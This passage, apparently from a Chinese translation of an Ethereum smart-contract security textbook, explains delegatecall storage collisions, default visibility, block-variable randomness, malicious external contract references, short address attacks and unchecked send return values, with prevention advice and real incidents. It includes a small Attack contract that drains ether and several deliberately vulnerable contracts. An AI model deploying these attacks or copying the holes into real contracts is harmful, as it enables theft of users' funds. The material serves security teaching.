 ），它会被放入calldata来指明要调用的是目标合约的哪个函数。这个fibSig变量用在了第21行的delegatecall函数中来指明我们希望运行fibonacci(uint256)函数。这个delegatecall的第二个参数就是我们要传给这个目标函数的实际参数。然后，我们假定FibonacciLib这个库合约的地址已经在构造函数中设定为正确的地址（本章“外部合约引用”一节中讨论的一些潜在的漏洞是与这种合约引用的初始化方式相关的）。

你能指出这个合约中的错误吗？如果有人部署了这个合约，向其中转入了以太币然后调用withdraw的话，将会发生revert（即运行失败，所有状态修改被撤销）。

你可能会注意到在库合约和主调用合约中都使用了状态变量start。在库合约中，start是用来指明斐波那契数列中的起始数值的，并且被设置为0；而在主调用合约中它被设置为3。你可能也会注意到FibonacciBalance合约中的回退函数会允许所有的调用都被转发到库合约，这将会允许库合约的setStart函数被调用。考虑到我们保持了合约的状态（因为delegatecall不会切换合约执行上下文），所以这看起来像是这个函数会允许你在FibonacciBalance合约上修改start变量的状态。如果是这样，这将允许某人取走更多的以太币，因为计算结果calculatedFibNumber是依赖于start变量的（就像在库合约中看到的那样）。然而实际上，setStart函数并不会（也不能）修改FibonacciBalance合约中的start变量的值，并且这个合约的潜在漏洞比仅仅修改start变量要严重得多。

在讨论实际的问题之前，让我们先做个简单的梳理来搞懂状态变量是如何保存在合约中的。状态或存储变量（可以在独立的交易之间保持其数值的变量）会按照它们被引入合约的顺序放置在存储槽中。这里有一些复杂的细节，请参阅Solidity文档（
https://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage

 ）来更深入地理解。

作为实例，让我们先来看看这个库合约。它有两个状态变量，start和calculatedFib-Number。第一个变量start保存在合约存储的slot[0]（也就是第一个存储槽）。第二个变量calculatedFibNumber保存在下一个存储槽slot[1]。setStart函数接受一个输入并把start设置为这个输入的数值。所以这个函数实际上是将slot[0]设置为setStart函数的输入参数的数值。与此类似，setFinonacci函数会将calculatedFibNumber设置为fibonacci(n)的计算结果，这也就是简单地将存储中的slot[1]设置为fibonacci(n)的数值。

现在让我们看看FibonacciBalance合约。该合约存储的slot[0]代表着fibonacci-Library的地址，而slot[1]则代表着calculatedFibNumber。就是这个错误的映射导致了漏洞。因为delegatecall会保持合约执行上下文，所以这意味着通过delegatecall来执行的代码会基于主调用合约的状态（也就是存储）来运行。

注意，在withdraw函数中的第21行，我们执行了fibonacciLibrary.delegatecall(fibSig,withdrawalCounter)。这会调用setFibonacci函数，就像我们讨论过的那样，它将修改存储的slot[1]；在我们当前的合约中，就是calculated-FibNumber。这是预期中的（也就是说，在执行之后，calculated-FibNumber被修改了）。然而，考虑到在FibonacciLib合约中的存储slot[0]保存的是start变量，而在当前合约中则是fibonacciLibrary的地址。这意味着fibonacci函数会给出一个非预期的结果。因为它所使用的start（slot[0]）的值
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 在当前合约执行上下文中是fibonacciLibrary，也就是一个地址（当用uint来表示时通常是一个很大的数值）。这大概会使withdraw函数revert，因为合约中并没有uint(fibonacciLibrary)（也就是calculatedFibNumber的数值）这么多数量的以太币。

更糟糕的是，FibonacciBalance合约的第26行允许用户通过回退函数来调用fibonacciLibrary的所有函数。就像我们刚刚讨论过的，这包含setStart函数，而这个函数允许任何人修改或设置存储的slot[0]。在这里，存储的slot[0]是fibonacciLibrary，也就是fibonacciLibrary的地址。因此，一个攻击者可以创建一个恶意合约，将其合约地址转换为uint（这可以在Python中简单地使用int('<address>',16)来实现），然后就可以调用setStart(<attack_contract_address_as_uint>)。这将会把fibonacciLibrary的值从fibonacci-Library的地址修改为攻击合约的地址。然后，无论任何用户调用withdraw或者回退函数，恶意合约都会被运行（将偷走合约的所有余额），因为我们已经修改了fibonacciLibrary的实际地址。这种攻击合约的示例如下：






1 contract Attack {



2     uint storageSlot0; // corresponds to fibonacciLibrary



3     uint storageSlot1; // corresponds to calculatedFibNumber



4



5     // fallback - this will run if a specified function is not found



6     function() public {



7         storageSlot1 = 0; // we set calculatedFibNumber to 0, so if withdraw



8         // is called we don't send out any ether



9         <attacker_address>.transfer(this.balance); // we take all the ether



10     }



11 }







注意，这个攻击合约通过修改存储的slot[1]修改了calculatedFibNumber。从原则上说，攻击者可以修改任何存储槽的数据，来对这个合约进行各种各样的攻击。我们鼓励你把这些合约放入Remix中来体验不同的攻击以及通过delegatecall函数进行的状态修改。

此外还有一个重要概念需要注意：我们说delegatecall会保持状态，但我们说的并不是合约状态变量的名字，而是由这些名字所代表的实际的存储槽。就像你在这个例子中看到的那样，一个简单的错误会导致攻击者劫持整个合约和其中的以太币。



防范技术



Solidity提供了library关键字来实现库合约，可参考文档来获得更多细节，网址为
https://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries

 。这需要确保库合约是无状态的和不会自我销毁的。将库合约强制为无状态可以消除本节中展示的这种由存储上下文所引入的复杂性。无状态的库合约还可以防止攻击者通过直接修改库合约的状态来影响依赖于库合约代码的其他合约。作为总体上的首要规则，当使用DELEGATECALL的时候要非常仔细地注意库合约和主调用合约的可能的调用上下文，并尽可能构建无状态的库合约。



真实案例：Parity多重签名钱包（第二次攻击）



对Parity多重签名钱包的第二次攻击是一个例子，它告诉我们一个设计得很好的库合约代码运行在不符合其意图的执行上下文中的时候也会被利用。对这次攻击有很多不错的讲解文章，比如“Parity Multisig Hacked.Again”（
https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838

 ）和“An In-Depth Look at the Parity Multisig Bug”（
http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/

 ）。

作为这些参考资料的补充，让我们来探究一下被利用的合约。这里的库合约和钱包合约可以在Github上找到具体网址为
https://github.com/paritytech/parity-ethereum/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol

 。

库合约如下：






1 contract WalletLibrary is WalletEvents {



2



3   ...



4



5   // throw unless the contract is not yet initialized.



6   modifier only_uninitialized { if (m_numOwners > 0) throw; _; }



7



8   // constructor - just pass on the owner array to multiowned and



9   // the limit to daylimit



10   function initWallet(address[] _owners, uint _required, uint _daylimit)



11       only_uninitialized {



12     initDaylimit(_daylimit);



13     initMultiowned(_owners, _required);



14   }



15



16   // kills the contract sending everything to `_to`.



17   function kill(address _to) onlymanyowners(sha3(msg.data)) external {



18     suicide(_to);



19   }



20



21   ...



22



23 }







这里是钱包合约：






1 contract Wallet is WalletEvents {



2



3   ...



4



5   // METHODS



6



7   // gets called when no other function matches



8   function() payable {



9     // just being sent some cash?



10     if (msg.value > 0)



11       Deposit(msg.sender, msg.value);



12     else if (msg.data.length > 0)



13       _walletLibrary.delegatecall(msg.data);



14   }



15



16   ...



17



18   // FIELDS



19   address constant _walletLibrary =



20     0xcafecafecafecafecafecafecafecafecafecafe;



21 }







注意，钱包合约基本上把所有调用都通过delegatecall函数转发给了WalletLibrary。这个代码片段里的常量_walletLibrary的值是作为实际部署的WalletLibrary合约地址的占位符存在的（实际的地址位于0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4）。

这些合约的意图是通过一个部署成本很低的钱包合约来使用WalletLibrary合约的代码和具体功能。然而不幸的是，WalletLibrary本身就是个合约并且维护了它自己的状态。你能看出这为什么会产生问题吗？

我们是可以直接向WalletLibrary合约发起调用的。具体地说，WalletLibrary是可以被初始化并被拥有的。事实上，确实有一个用户这么做了，他调用了WalletLibrary的initWallet函数并成为这个库合约的主人。然后还是这个用户调用了kill函数。因为这个用户是这个库合约的主人，通过了所有修饰符的检查，于是这个库合约就自毁了。由于现存的所有Wallet合约都引用了这个库合约并且没有包含可以修改这个引用的函数，所以它们所有的功能都随着WalletLibrary一起丢失了，包括取回以太币的功能。最终，所有保存在这种Parity多重签名钱包中的以太币就直接丢失并永远无法恢复了。
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 用来生成斐波那契数字的起始数值。




默认的可见性



Solidity中的函数都有一个指明它们可以被如何调用的可见性修饰符。这种可见性决定了一个函数或可以被外部用户调用，或可以被其他子合约调用，或仅能由内部调用还是仅能由外部调用。Solidity中有四种可见性修饰符，具体细节介绍请参阅Solidity文档。对于函数来讲，默认的可见性是public，也就是允许用户从外部调用。好，现在就让我们来看看那些没有正确使用的可见性修饰符是如何在智能合约中造成有严重破坏性的漏洞的。



漏洞的细节



函数的默认可见性是public，所以如果函数不指定可见性，它们就是可以被外部用户调用的。如果开发者们错误地省略了对那些应该是private的函数（或仅可以在合约内部调用的函数，也就是那些应该被标记为internal的函数）的可见性修饰符，一般就会出现问题。

让我们来快速浏览一个不那么严重的例子：






1 contract HashForEther {



2



3      function withdrawWinnings() {



4          // Winner if the last 8 hex characters of the address are 0



5          require(uint32(msg.sender) == 0);



6          _sendWinnings();



7      }



8



9      function _sendWinnings() {



10          msg.sender.transfer(this.balance);



11      }



12 }







这个简单的合约是想作为一个猜地址的悬赏游戏来运作的。要赢得合约的余额，用户必须生成一个最后8位十六进制数字均为0的地址。一旦成功，他们就可以调用withdrawWinnings函数来获得他们的奖金。

但不幸的是，这些函数的可见性都没有指定。具体来说，因为_sendWinnings函数是public（也就是默认值），所以任何地址都可以调用这个函数偷走奖金。



防范技术



为合约中的所有函数都明确指定可见性是最佳实践，即使它们应被设计为public。近期版本的solc会对未明确指定可见性的函数给出警告来鼓励这种实践。



真实案例：Parity多重签名钱包（首次攻击）



在第一次对Parity多重签名钱包的攻击中，三个钱包中价值大概3100万美元的以太币被盗取。Haseeb Qureshi（
https://medium.freecodecamp.org/a-hacker-stole-31m-of-ether-how-it-happened-and-what-it-means-for-ethereum-9e5dc29e33ce?gi=427a66a1bf22

 ）曾对这个攻击是如何完成的给出过很好的回顾。

确切地说，多重签名钱包是由一个基础的Wallet合约来构造的，它调用一个包含了所有关键功能的库合约来实现具体的功能（就像在上文“真实案例：Parity多重签名钱包（第二次攻击）”中所描述的那样）。这个库合约包含了初始化钱包的代码，如下代码片段所示：






1 contract WalletLibrary is WalletEvents {



2



3   ...



4



5   // METHODS



6



7   ...



8



9   // constructor is given number of sigs required to do protected



10   // "onlymanyowners" transactionsas well as the selection of addresses



11   // capable of confirming them



12   function initMultiowned(address[] _owners, uint _required) {



13     m_numOwners = _owners.length + 1;



14     m_owners[1] = uint(msg.sender);



15     m_ownerIndex[uint(msg.sender)] = 1;



16     for (uint i = 0; i < _owners.length; ++i)



17     {



18       m_owners[2 + i] = uint(_owners[i]);



19       m_ownerIndex[uint(_owners[i])] = 2 + i;



20     }



21     m_required = _required;



22   }



23



24   ...



25



26   // constructor - just pass on the owner array to multiowned and



27   // the limit to daylimit



28   function initWallet(address[] _owners, uint _required, uint _daylimit) {



29     initDaylimit(_daylimit);



30     initMultiowned(_owners, _required);



31   }



32 }







注意，这里没有任何函数指定了可见性，所以它们都默认设为public。就像我们在initMultiowned函数的实现中看到的那样，这个函数会设定这个多重签名钱包的主人，并且这个函数会在initWallet函数中被调用；而initWallet函数则会在钱包合约的构造函数中被调用。因为这些函数都被意外地遗漏（可见性修饰）而默认设为public，所以攻击者可以在其他已部署的合约中调用这些函数来把钱包主人的地址重新设置为攻击者的地址，从而拿走钱包中的所有以太币。




无序错觉
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以太坊区块链中的所有交易都是确定性的状态转换操作。这意味着每个交易都是通过可计算的方式来修改以太坊生态中的全局状态，没有任何的不确定性。这其中的基本含义就是在以太坊中没有任何无序性或随机性的来源。实现去中心化的无序性（随机性）是一个众所周知的难题，而业内也已经提出了许多解决方案，包括RANDAO（
https://github.com/randao/randao

 ）或者使用由Vitalick Buterin在他的博客“Validator Ordering and Randomness in PoS”（
https://vitalik.ca/files/randomness.html

 ）中描述的那种由哈希值组成的链。



漏洞的细节



在以太坊平台初期构建的一些合约都是赌博类的合约。从根本上说，赌博需要不确定性（可以打赌的东西），这使得基于区块链（一个确定性的系统）来构建赌博系统变得非常困难。很明显，这种不确定性必然要来自区块链的外部。在玩家之间打赌是可能的（提交-揭示（commit-reveal）技术是可以参考的例子，可参考网址
https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract

 ）；然而，如果你要实现一个合约来作为“赌场”（the house）（就像在21点或者轮盘赌中）明显更加困难
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 。常见的陷阱就是去使用未来区块的变量，也就是包含了实际交易的区块的一些信息，比如哈希值、时间戳、区块号或者gas上限。使用这些变量的问题是：因为它们可以被矿工控制，所以实际上并不是真正的随机数。比如我们想象有一个轮盘赌合约，其逻辑是在下一个区块的哈希值末位是偶数时返回黑色数字，而一个矿工（或矿池）对黑色数字下注了100万美元。这样的话，如果他们找到了下一个区块并发现其哈希值末位是奇数，他们大可不发布这个区块而去另外再打包一个区块，直到区块哈希值的末位成为偶数（这里假设区块奖励和交易费是小于100万美元的）。而就像Martin Swende在他杰出的博客文章（
http://swende.se/blog/Breaking_the_house.html

 ）中展示的那样，使用过往或者最近的变量更具灾难性（因为它们显然更容易被攻击者知晓）。此外，仅仅使用区块变量意味着这个伪随机数在区块中的所有交易中都是一样的，所以攻击者可以通过在一个区块中的多个交易来获得多倍的奖金（一般应该有一个最大的可能收益）。



防范技术



无序性（随机性）必须来自区块链外部。这可以由像提交-揭示这样的系统在节点之间来实现，或者通过更改一组参与者之间的信任模型来实现，例如在RandDAO中实现可参考网址
https://github.com/randao/randao

 。此外这也可以通过一个作为随机数预言机的中心化的实体来实现。尽管有些例外情况，但一般而言，区块变量不应该用来作为无序性的来源，因为它们可以被矿工们操纵。



真实案例：PRNG合约



2018年2月，Arseny Reutov发表了一篇博客（
https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620?gi=3c6c9fa1613e

 ），介绍了他对3649个活跃的智能合约的分析结果。这些合约中都使用了某种形式的伪随机数发生器（PRND），他发现有43个合约存在可以被利用的随机性漏洞。




[1]

 这个标题的英文原文为“Entropy Illusion”，译法我考虑了很久，最后觉得译为“无序错觉”或者“随机错觉”最合适。entropy译为“熵”太晦涩了，这并不是一个浅显的概念，而且在这里它实际上说的并不是物理上的熵，而应该是“a complete lack of order”。illusion译为幻觉我觉得太重了，译为错觉比较合适。
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 这里的“the house”，可以理解为赌场或者赌局中的庄家，也就是具体的随机性的来源，比如赌场中的荷官、发牌员这种角色。




外部合约引用



以太坊“世界计算机”的一个能力就是可以重用代码并可以与已部署到网络中的合约进行交互。其结果就是大量的合约都通过外部消息调用引用了外部合约。这些外部消息调用可以通过某些不明显的方式来掩盖恶意用户的意图，我们现在就来仔细探查一下。



漏洞的细节



在Solidity中，任何地址都可以转换为合约类型，无论这个地址所关联的代码是否与要转换的合约类型相符。这会导致一些问题，特别是当合约的作者尝试去隐藏恶意代码的时候。让我们通过一个例子来说明一下。

仔细考虑像代码9-8这样的代码片段，它简单地实现了ROT13
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 密码（
https://en.wikipedia.org/wiki/ROT13

 ）。


代码9-8：Rot13Encryption.sol







1 // encryption contract



2 contract Rot13Encryption {



3



4     event Result(string convertedString);



5



6     // rot13-encrypt a string



7     function rot13Encrypt (string text) public {



8         uint256 length = bytes(text).length;



9         for (var i = 0; i < length; i++) {



10             byte char = bytes(text)[i];



11             // inline assembly to modify the string



12             assembly {



13                 // get the first byte



14                 char := byte(0,char)



15                 // if the character is in [n,z], i.e. wrapping



16                 if and(gt(char,0x6D), lt(char,0x7B))



17                 // subtract from the ASCII number 'a',



18                 // the difference between character <char> and 'z'



19                 { char:= sub(0x60, sub(0x7A,char)) }



20                 if iszero(eq(char, 0x20)) // ignore spaces



21                 // add 13 to char



22                 {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))}



23             }



24         }



25         emit Result(text);



26     }



27



28     // rot13-decrypt a string



29     function rot13Decrypt (string text) public {



30         uint256 length = bytes(text).length;



31         for (var i = 0; i < length; i++) {



32             byte char = bytes(text)[i];



33             assembly {



34                 char := byte(0,char)



35                 if and(gt(char,0x60), lt(char,0x6E))



36                 { char:= add(0x7B, sub(char,0x61)) }



37                 if iszero(eq(char, 0x20))



38                 {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}



39             }



40         }



41         emit Result(text);



42     }



43 }







这个代码简单地接受一个输入字符串（认为仅包含字母a到z，但没有做检查）然后对它进行加密，将其中的每个字符按字母表的顺序替换为其后第13个字符（到z之后转回a）；也就是a会替换为n，x会替换为k。上述代码中的汇编与我们要讨论的问题无关，不需要理解，所以对汇编不熟悉的读者大可忽略它们。

现在考虑有如下合约使用其进行加密：






1 import "Rot13Encryption.sol";



2



3 // encrypt your top-secret info



4 contract EncryptionContract {



5      // library for encryption



6      Rot13Encryption encryptionLibrary;



7



8      // constructor - initialize the library



9      constructor(Rot13Encryption _encryptionLibrary) {



10         encryptionLibrary = _encryptionLibrary;



11     }



12



13     function encryptPrivateData(string privateInfo) {



14         // potentially do some operations here



15         encryptionLibrary.rot13Encrypt(privateInfo);



16     }



17 }







这个合约的问题在于encryptionLibrary地址并不是常量且不能通过public函数修改。因此，部署合约的用户有可能会在构造函数中给出一个（错误地）指向下面这个合约的地址：






1 // encryption contract



2 contract Rot26Encryption {



3



4      event Result(string convertedString);



5



6      // rot13-encrypt a string



7      function rot13Encrypt (string text) public {



8          uint256 length = bytes(text).length;



9          for (var i = 0; i < length; i++) {



10             byte char = bytes(text)[i];



11             // inline assembly to modify the string



12             assembly {



13                 // get the first byte



14                 char := byte(0,char)



15                 // if the character is in [n,z], i.e. wrapping



16                 if and(gt(char,0x6D), lt(char,0x7B))



17                 // subtract from the ASCII number 'a',



18                 // the difference between character <char> and 'z'



19                 { char:= sub(0x60, sub(0x7A,char)) }



20                 // ignore spaces



21                 if iszero(eq(char, 0x20))



22                 // add 26 to char!



23                 {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))}



24             }



25         }



26         emit Result(text);



27     }



28



29     // rot13-decrypt a string



30     function rot13Decrypt (string text) public {



31         uint256 length = bytes(text).length;



32         for (var i = 0; i < length; i++) {



33             byte char = bytes(text)[i];



34             assembly {



35                 char := byte(0,char)



36                 if and(gt(char,0x60), lt(char,0x6E))



37                 { char:= add(0x7B, sub(char,0x61)) }



38                 if iszero(eq(char, 0x20))



39                 {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}



40             }



41         }



42         emit Result(text);



43     }



44 }







这个合约实现了ROT26 cipher，将每个字符按字母表顺序替换为其后第26个字符（实际上就是什么都没做）。同样地，我们不用去理解合约中的汇编。此外，还有更简单的情况，攻击者可以将encryptionLibrary地址指向下列合约来达到同样的效果：






1 contract Print{



2     event Print(string text);



3



4     function rot13Encrypt(string text) public {



5         emit Print(text);



6     }



7 }







如果任何这些合约的地址被提供到构造函数，那么encryptPrivateData函数就仅仅会产生一个事件并打印出未做加密的私有数据。

尽管在这个例子中是通过构造函数来设定了一个类似于库合约的合约地址，但一般情况下，有特权的用户（比如合约主人）是可以更改库合约地址的。如果一个引用的合约不包含要调用的函数，那么回退函数就会被执行。例如，如果encryptionLibrary被指定到下列合约，那么对encryptionLibrary.rot13Encrypt()的调用就会执行其回退函数：






1 contract Blank {



2     event Print(string text);



3     function () {



4         emit Print("Here");



5         // put malicious code here and it will run



6     }



7 }







然后一个输出了字符串here的事件就会产生。因此，如果用户可以修改合约引用的合约库，那么基本上他们就可以使其他用户在不知情的情况下运行任意代码。


 　这里展示的代码仅出于示范目的，并不代表正确的加密处理，不应该用它们进行加密。



防范技术



就像我们先前示范的那样，即使一个安全的合约，在某些情况下也可能在被部署之后变得行为不端。审计人员也可能在公开验证一个合约的时候让合约的主人以某种蓄意的方式来部署合约，从而使公开审计的合约存有漏洞或者不良企图。

有一些技术可以避免这些情况的发生。

一种方法是使用new关键字来创建合约。在先前的例子中，构造函数可以写为：






constructor() {



    encryptionLibrary = new Rot13Encryption();



}







这样的话，要引用的合约就会在部署的时候被创建出来，即使是部署的用户也无法在不更改代码的情况下替换Rot13Encryption合约。

另一个方案就是对外部合约地址进行硬编码。

一般来说，调用外部合约的代码都应该进行认真的审计。作为一个开发者，在定义外部合约的时候将合约地址设定为public（而非下边段落中的蜜罐例子所示）总是个好主意，因为这可以使用户能够轻松地检查合约所引用的外部合约。相反地，如果一个合约用private变量来保存合约地址，那么就可以被视为某种行为不端的标志
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 。如果一个用户可以更改用来进行外部函数调用的合约地址，那么实现一个时间锁或者采用投票机制就变得很重要了（尤其是在去中心化系统中更是如此）；因为这将允许其他用户检查要修改的代码，或者使其他参与者有机会对新的合约地址进行甄别。



真实案例：可重入的蜜罐



以太坊主网上曾发布过一些蜜罐合约。这些合约尝试战胜那些妄图利用这些合约牟利的以太坊黑客，使他们最终偷鸡不成蚀把米。其中一个例子就利用了这种攻击方式，在构造函数里将期望中的合约替换为了一个恶意合约。代码可以在
https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code

 找到：






1 pragma solidity ^0.4.19;



2



3 contract Private_Bank



4 {



5      mapping (address => uint) public balances;



6      uint public MinDeposit = 1 ether;



7      Log TransferLog;



8



9      function Private_Bank(address _log)



10     {



11         TransferLog = Log(_log);



12     }



13



14     function Deposit()



15     public



16     payable



17     {



18         if(msg.value >= MinDeposit)



19         {



20             balances[msg.sender]+=msg.value;



21             TransferLog.AddMessage(msg.sender,msg.value,"Deposit");



22         }



23     }



24



25     function CashOut(uint _am)



26     {



27         if(_am<=balances[msg.sender])



28         {



29             if(msg.sender.call.value(_am)())



30             {



31                 balances[msg.sender]-=_am;



32                 TransferLog.AddMessage(msg.sender,_am,"CashOut");



33             }



34         }



35     }



36



37     function() public payable{}



38



39 }



40



41 contract Log



42 {



43     struct Message



44     {



45         address Sender;



46         string Data;



47         uint Val;



48         uint Time;



49     }



50



51     Message[] public History;



52     Message LastMsg;



53



54     function AddMessage(address _adr,uint _val,string _data)



55     public



56     {



57         LastMsg.Sender = _adr;



58         LastMsg.Time = now;



59         LastMsg.Val = _val;



60         LastMsg.Data = _data;



61         History.push(LastMsg);



62     }



63 }







一个reddit用户发表了一篇博客
https://www.reddit.com/r/ethdev/comments/7x5rwr/tricked_by_a_honeypot_contract_or_beaten_by/

 解释了他们是如何在尝试利用这个合约里的重入bug时反而损失了1 ether的经过。
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[1]

 ROT13是一种简易的替换式密码。




[2]

 在以太坊中，所有状态变量都是公开可见的，不管它们是不是被定义为public。这里说的将外部合约地址设定为public是为了允许用户通过以太坊客户端或合约代码简单地直接查询状态变量的值，而不用去构造相对复杂的web3或者jsonrpc调用来获得状态变量的值或者不会无法在其他合约代码中检查其具体数据。




[3]

 Private_Bank合约的第7行声明外部合约引用时没有指定可见性，而状态变量的默认可见性是internal，所以我们需要额外使用web3/jsonrpc调用来获取其实际数据，这就是前一段叙述里提到的蜜罐例子中没有将合约外部引用设定为public的问题；攻击者就是因为没有去验证实际部署的合约中这个状态变量所引用的实际合约代码，从而损失了1 ether。




短地址/参数攻击



这种攻击其实并不是发生在Solidity合约本身的，而是在那些要与合约进行交互的第三方应用程序中。这一节是作为一种补充来使读者理解合约中的参数可以如何被操纵。

更多资料，请参考“The ERC20 Short Address Attack Explained”（
https://vessenes.com/the-erc20-short-address-attack-explained/

 ），“ICO Smart Contract Vulnerability:Short Address Attack”（
https://medium.com/huzzle/ico-smart-contract-vulnerability-short-address-attack-31ac9177eb6b

 ），或这篇Reddit帖子（
https://www.reddit.com/r/ethereum/comments/6r9nhj/cant_understand_the_erc20_short_address_attack/

 ）。



漏洞的细节



当我们向智能合约传递参数的时候，这些参数需要依照ABI规范（
https://solidity.readthedocs.io/en/latest/abi-spec.html

 ）进行编码。不过，发送的实际数据长度小于标准的参数编码长度也是可以的（比如发送一个仅包含38个十六进制字符（19字节）的地址，而不是40个十六进制字符（20字节））。在这种情况下，EVM会在数据的末尾补0来使数据长度达到要求。

如果第三方应用程序没有对输入数据进行校验，就会产生问题。最清楚的例子就是交易所应用没有对ERC20代币的持有人在发送取款请求时提供的地址数据进行校验。这个例子在Peter Vessenes的博客“The ERC20 Short Address Attack Explained”（
https://vessenes.com/the-erc20-short-address-attack-explained/

 ）中有更详尽的介绍。

让我们仔细考虑标准的ERC20 transfer函数接口，注意其参数的顺序：






function transfer(address to, uint tokens) public returns (bool success);







现在我们假设一个交易所持有大量的某个代币（让我们称之为REP），然后有一个用户希望取出他的份额100枚代币。这个用户应该提交他的地址0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead和要取出的代币数量100。交易所应用应该按照transfer函数所指定的顺序对这些参数进行编码，也就是先对地址进行编码，然后是tokens变量值的编码。这个编码结果应该是：






a9059cbb000000000000000000000000deaddeaddea \



ddeaddeaddeaddeaddeaddeaddead0000000000000



000000000000000000000000000000000056bc75e2d63100000







其中前4字节（a9059cbb）是transfer函数的函数选择器，而后32字节是地址，最后32字节代表了tokens变量的uint256数值。注意末尾的十六进制数据56bc75e2d63100000代表了100枚代币（因为REP代币合约中指定了18位小数；这个十六进制数据的数值实际上就是100×10

18


 ）。

现在让我们看一下在某人发送地址数据时少了1字节数据（两个十六进制数字）时会发生什么。确切地说，就是攻击者发送了一个数值为0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde的地址（少了最后两位十六进制数字）和同样的取款数额100枚代币。如果交易所应用没有校验输入数据，它就会被编码为：






a9059cbb000000000000000000000000deaddeaddea \



ddeaddeaddeaddeaddeaddeadde00000000000000



00000000000000000000000000000000056bc75e2d6310000000







这其中的区别很微妙。注意，00被添加到了整个数据的末尾来补充因为短地址数据所造成的编码数据缺失。当这个数据被发送到智能合约时，address参数的数值会被读取为0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00，而tokens参数的数值则会被读取为56bc75e2d6310000000（注意这两个数值末尾都增加了额外的0）。于是代币的数额现在变成了25600（相当于原始数额乘以256）。在这个例子中，如果交易所确实持有这么多代币，那么这个用户就能取走25600枚代币（然而交易所会认为用户只取走了100枚代币）到那个修改过的地址。显然在这个例子里，攻击者没有掌握修改过的地址，但如果他们已经生成了那个以00结尾的地址（可以简单地强行生成）并已经使用了这个地址的话，他们就可能从没有发觉任何异样的交易所偷走代币。



防范技术



所有外部应用在把输入参数发送到区块链之前都应该对它们进行校验。而参数的顺序同样扮演了重要角色。由于数据填充仅会发生在尾部，所以在合约中仔细考虑参数的顺序也可以在一定程度上减轻这种攻击的危害。




未检查的调用返回值



Solidity中有很多方式可以发起外部调用。向外部账户发送以太币一般会使用transfer函数。然而send函数也是可以使用的，并且用CALL操作码发起的外部调用也可以在Solidity中直接使用。call和send函数会返回一个布尔值来指明调用是否成功。因此，这些函数就有一个简单的副作用：如果（由call和send函数引发的）外部调用失败，执行了这些函数的那个交易不会revert（也就是不会失败，主调用的处理不会终止），这些函数只是简单地返回false。一个普遍的错误就是开发者认为外部调用失败会直接触发revert因而没有检查这些函数的返回值。

进一步的资料，请参考DASP Top 10 of 2018的#4（
http://www.dasp.co/#item-4

 ）以及“Scanning Live Ethereum Contracts for the‘Unchecked-Send’Bug”（
http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/

 ）。



漏洞的细节



仔细考虑下面这个例子：






1 contract Lotto {



2



3      bool public payedOut = false;



4      address public winner;



5      uint public winAmount;



6



7      // ... extra functionality here



8



9      function sendToWinner() public {



10         require(!payedOut);



11         winner.send(winAmount);



12         payedOut = true;



13     }



14



15     function withdrawLeftOver() public {



16         require(payedOut);



17         msg.sender.send(this.balance);



18     }



19 }







这代表了一个类似于彩票的合约，winner可以获得winAmount以太币，然后任何人都可以取走剩下的一点儿余额。

这里的漏洞就在第11行，当用send发送以太币时没有检查返回值。在这个简单的例子里，即使winner取款的交易失败（比如gas不足或者收款地址是个回退函数会抛出异常的合约），不管以太币是否发送成功，payedOut也会被设置为true。在这种情况下，任何人都可以通过withdrawLeftOver函数来取走winner的奖金。



防范技术



尽可能使用transfer函数而不是send，因为transfer会在外部调用失败时revert。如果真的需要用send，就务必要检查其返回值。

一个更健壮的推荐方案（
https://solidity.readthedocs.io/en/latest/common-patterns.html#withdrawal-from-contracts

 ）就是采用取回模式（withdrawal pattern）。在这种方案里，每一个用户都必须单独调用withdraw函数来使合约发出以太币并执行发送失败时的关联处理。这个想法是从逻辑上将向合约外部发送的功能与其他的代码逻辑分离，并由最终用户来承担调用withdraw函数时潜在的交易失败风险。



真实案例：Etherpot和KingoftheEther



Etherpot（
https://github.com/etherpot/contract/blob/master/app/contracts/lotto.sol

 ）是一个智能合约博彩，与稍早提到的示例合约不尽相同。这个合约的崩溃主要是由于对区块哈希的误用（仅最新的256个区块哈希是可用的；参考Aakil Fernandes写的关于Etherpot是如何因为没有考虑到这点而失败的博客（
http://aakilfernandes.github.io/blockhashes-are-only-good-for-256-blocks

 ）。然而，这个合约也被一个未检查的调用返回值所困扰。让我们仔细考虑代码9-9中的cash函数：


代码9-9：lotto.sol代码片段







1 ...



2   function cash(uint roundIndex, uint subpotIndex){



3



4        var subpotsCount = getSubpotsCount(roundIndex);



5



6        if(subpotIndex>=subpotsCount)



7        return;



8



9        var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);



10



11       if(decisionBlockNumber>block.number)



12           return;



13



14       if(rounds[roundIndex].isCashed[subpotIndex])



15           return;



16        //Subpots can only be cashed once. This is to prevent 



              double payouts



17



18          var winner = calculateWinner(roundIndex,subpotIndex);



19          var subpot = getSubpot(roundIndex);



20



21          winner.send(subpot);



22



23          rounds[roundIndex].isCashed[subpotIndex] = true;



24          //Mark the round as cashed



25 }



26 ...







注意第21行的send函数，其返回值并没有被检查，但下边的代码就将赢家已经获得奖金的标志变量设为true了。这个bug将在赢家没能获得他们的以太币时也会把合约状态改为他们已经获得了奖金。

这个bug的更严重的版本发生在King of the Ether（
https://www.kingoftheether.com/thrones/kingoftheether/index.html

 ）中。已经有人写出了一篇出色的事后分析（
https://www.kingoftheether.com/postmortem.html

 ），详细讲解了如何利用一个未检查的send失败来对这个合约进行攻击。




竞争条件/预先交易



当合约间的外部调用和底层区块链的多用户自然属性相结合的时候，就产生了各种各样的潜在陷阱，用户们可以对代码的执行进行竞争（race）
